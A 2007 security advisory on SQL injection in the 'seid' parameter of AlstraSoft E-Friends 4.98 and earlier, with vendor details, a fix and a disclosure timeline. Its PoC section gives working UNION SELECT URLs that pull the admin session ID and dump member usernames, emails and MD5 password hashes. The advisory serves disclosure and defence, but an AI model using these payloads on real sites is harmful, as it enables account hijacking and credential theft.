[ECHO_ADV_85$2007] alstrasoft E-Friends <= 4.98 (seid) Multiple Remote SQL Injection Vulnerabilities
Posted by az001 on November 22 2007 11:23:33
Vulnerability :
Input passed to the "seid" parameter in events modules is not properly verified before being used to sql query. This can be exploited thru the browser and get the hash md5 password from members and retrieve admin session id.Successful exploitation requires that "magic_quotes" is off.
Extended News
Author : M.Hasran Addahroni
Date : November, 15 th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv85-K-159-2007.txt
Critical Lvl : Critical
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : E-Friends
version : <= 4.98
Vendor : http://www.alstrasoft.com/efriends.htm
Description :

E-Friends is an online social networking script that allows you to start your own
profitable community just like Friendster and MySpace social networking site
plus the ability to offer paid membership subscriptions.
E-Friends allow members to connect to people in their personal networks
and make friends, match making, dating, blogging and join groups and events.
Features include email importer, messaging system, classifieds, join groups,
forums, affiliate program integrated, online chat, personal blog, calendar,
custom profile URL, friends search, invite friends, hotornot image ranking,
advance admin control panel, upload photos and many more.

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Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "seid" parameter in events modules is not properly verified
before being used to sql query. This can be exploited thru the browser and get the hash
md5 password from members and retrieve admin session id.Successful exploitation requires
that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~~
1.Retrieve Admin SessionID :

http://target.com/index.php?mode=events&act=viewevent&seid=-1%20union%20select%201,2,3,
sess_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20admin--

Use the SessionID in this URL:
http://target.com/admin.php?mode=users_manager&adsess=SESSION_ID

2.Get Members's Username and md5 hash:
http://target.org/index.php?mode=events&act=viewevent&seid=-1%20union%20select%201,2,3,
concat(mem_id,0x3a,username,0x3a,email,0x3a,
password,0x3a,fname),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20members--



Dork:
~~~~~
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Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini


Timeline:
~~~~~~~~~

- 15 -11 - 2007 bug found
- 21 -11 - 2007 vendor contacted
- 22 -11 - 2007 publish advisory
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Shoutz:
~~~~~
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~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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